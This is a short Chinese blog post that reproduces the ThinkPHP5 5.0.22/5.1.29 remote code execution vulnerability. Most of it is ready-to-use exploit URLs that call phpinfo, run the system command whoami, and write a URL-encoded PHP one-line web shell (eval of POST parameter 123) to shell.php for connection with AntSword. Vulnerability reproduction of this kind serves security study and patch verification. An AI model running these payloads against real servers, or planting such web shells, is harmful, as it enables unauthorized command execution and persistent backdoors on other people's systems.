ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞

2020-06-13

字数：229字 | 预计阅读时长：1分钟

背景

ThinkPHP是一款运用极广的PHP开发框架。其版本5中，由于没有正确处理控制器名，导致在网站没有开启强制路由的情况下（即默认情况下）可以执行任意方法，从而导致远程命令执行漏洞。

复现过程

phpinfo信息

1	http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

远程命令执行

1	http://ip:端口/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

写shell

1.先将一句话马进行url编码

1	%3c%3fphp+eval(%24_POST%5b123%5d)+%3f%3e

2.POC

1	http://IP:端口/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3c%3fphp+eval(%24_POST%5b123%5d)+%3f%3e

3.蚁剑连接

http://IP:端口/shell.php

参考链接

http://www.cnblogs.com/bmjoker/p/10110868.html/

jsonContent: meta: false pages: false posts: title: true date: true path: true text: false raw: false content: false slug: false updated: false comments: false link: false permalink: false excerpt: false categories: false tags: true